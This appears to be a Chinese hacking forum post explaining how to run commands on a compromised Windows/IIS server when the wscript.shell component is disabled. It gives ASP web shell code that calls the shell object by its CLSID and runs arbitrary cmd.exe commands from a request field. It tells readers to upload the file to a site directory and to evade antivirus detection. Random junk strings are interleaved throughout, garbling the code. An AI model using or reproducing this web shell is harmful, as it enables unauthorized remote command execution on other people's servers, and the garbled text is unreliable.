没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  + J2 p6 Z8 y; {  }& M0 b' w
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  + m; ^: p* o! L" h* s+ z) P# g
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  2 S$ E! L& S  g$ r
• 把下面代码复制：
  
• <%
  # m/ E1 a, ?. F, _5 C
• end if
  
• response.write(”")
  
• On Error Resume
  
• Next
  . h& y2 M2 `9 Y" B3 k9 c5 ~
• response.write oScriptlhn.exec(”cmd.exe /c” &
  & N. s, o# L1 A4 q; h" \
• request(”c”)).stdout.readall
  
• response.write(”")
  
• response.write(”")
  5 A/ A& P6 X2 E& B+ k
• response.write(”
  - h7 g' }* G- l. W
• “)
  2 {" u0 P5 ~# R5 K6 y3 [
• response.write(”")
  6 w, N5 r" _) r# O0 `5 K0 n2 e' E
• %>
  ; ]! i! w! o3 t, P5 n$ s% z5 a
• 保存为一个asp文件，然后传到网站目录上去
    ~8 o, p' I* l( Y* C6 S' _2 a
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  . |, X# \' U" L4 U3 x' }# I) Y
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  * U3 ]1 T! s/ c- e
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  . P! Q) k% Q. F& r/ R1 N: i! L
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  0 n4 i. v7 e" N% ?7 j, j! V
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
    z+ S3 i( r* X- L/ C6 u
• <%
  
• end if
  ) `- d- b  @7 v
• response.write(”<textarea readonly cols=80
  
• 
  5 u9 r# a! x0 ]  F* y
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  4 A" Z0 }# A$ q' a1 d# M
• 
  6 s' w0 w: c& l9 i; g" N
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  " B2 F( Q* Q6 y; A; J% ~1 [  J
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  ( r) l8 q7 F& y7 ?! \' H5 `( s
• method=’post’>”)
  + C3 H) b+ K9 P% ?  @$ h8 K
• response.write(”<input type=text name=’c'
  . |" e: Z0 x0 J: ?
• 
  
• size=60><br>”)
    s3 a$ C- b1 d% i3 i: o! @
• response.write(”<input type=submit
  8 B( B0 `. m- g: B0 d. c( J
• 
  $ o9 w9 Q: ^8 J; N/ _1 j1 N( ]
• value=’执行’></form>”)
  
• %>
  9 p4 B4 Y" w5 I/ e0 V3 ~/ c1 Y
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码